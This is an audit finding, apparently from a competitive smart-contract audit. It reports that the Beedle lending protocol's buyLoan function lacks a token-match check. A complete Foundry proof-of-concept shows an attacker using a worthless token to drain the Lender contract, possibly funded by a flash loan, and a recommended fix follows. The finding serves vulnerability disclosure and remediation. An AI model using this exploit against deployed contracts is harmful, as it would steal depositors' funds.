20,000 USDC
View results
Submission Details
Severity: high
Valid

Contract can be drained by lack of token address check in `buyLoan`

Summary

In the buyLoan function, there is no check that the new pool accepts the same tokens as the original one. This can result in loans being transfered to pools filled with worthless tokens and funds being drained from the contract.

Vulnerability Details

When a loan is put up for auction, anyone can call the buyLoan function which transfers the debt to another pool without checking that the new pool accepts the same tokens.

File: Lender.sol
L484: // reject if the pool is not big enough
uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
if (pools[poolId].poolBalance < totalDebt) revert PoolTooSmall();
// @audit - No check that loanToken is the same
// if they do have a big enough pool then transfer from their pool
_updatePoolBalance(poolId, pools[poolId].poolBalance - totalDebt);
pools[poolId].outstandingLoans += totalDebt;
// now update the pool balance of the old lender
bytes32 oldPoolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
);
_updatePoolBalance(
oldPoolId,
pools[oldPoolId].poolBalance + loan.debt + lenderInterest
);
pools[oldPoolId].outstandingLoans -= loan.debt;

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L498

Impact

All tokens from the lender contract can be stolen. This is a critical issue.

POC

Here are the tests that can be added to Lender.t.sol to illustrate the steps of an attacker:

function test_exploit() public {
// Setup
address attacker = address(0x5);
loanToken.mint(address(attacker), 1_000*10**18); // This could be done by a flash loan
loanToken.mint(address(lender), 1_000*10**18);
// Before the exploit
assertEq(loanToken.balanceOf(address(lender)), 1_000*10**18); // Lender has 1_000 loanToken
assertEq(loanToken.balanceOf(address(attacker)), 1_000*10**18); // Attacker has 1_000 loanToken
// Exploit starts here
vm.startPrank(attacker); // Attacker wants to steal loanTokens from the pool
// (1) Create a worthless tokens
TERC20 fakeToken = new TERC20();
fakeToken.mint(address(attacker), 1_000_000*10**18);
fakeToken.approve(address(lender), 1_000_000*10**18);
// (2) Create a pool
loanToken.approve(address(lender), 1_000*10**18);
Pool memory attackerPool = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(fakeToken),
minLoanSize: 1,
poolBalance: 1_000*10**18,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 0,
outstandingLoans: 0
});
bytes32 attackerPoolId = lender.setPool(attackerPool);
// (3) Take a loan in his own pool
Borrow memory b = Borrow({
poolId: attackerPoolId,
debt: 1_000*10**18,
collateral: 1
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// (4) Put the loan up for auction
uint256 loanId = 0;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
lender.startAuction(loanIds);
// (5) Zapbuy the loan with a pool full of fake tokens
Pool memory fakePool = Pool({
lender: attacker,
loanToken: address(fakeToken),
collateralToken: address(fakeToken),
minLoanSize: 1,
poolBalance: 1_000*10**18,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 0,
outstandingLoans: 0
});
lender.zapBuyLoan(fakePool, loanId);
// (6) Remove loanTokens form the first pool
lender.removeFromPool(attackerPoolId, 1_000*10**18);
// After the exploit
assertEq(loanToken.balanceOf(address(lender)), 0); // Lender contract has been drained
assertEq(loanToken.balanceOf(address(attacker)), 1_995*10**18); // Attacker stole all the tokens (minus fees)
}

Note that attacker needs the same amount of token as the amount being stolen, but the exploit can be done in one transaction so the atack can be founded by a flashloan.

Tools Used

Manual review + Foundry

Recommendations

Check that new pool accepts the same tokens as the loan. Add this check at the top of the buyLoan function:

Loan memory loan = loans[loanId];
Pool memory pool = pool[poolId];
if (pool.loanToken != loan.loanToken || pool.collateralToken != loan.collateralToken)
revert WrongTokens();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.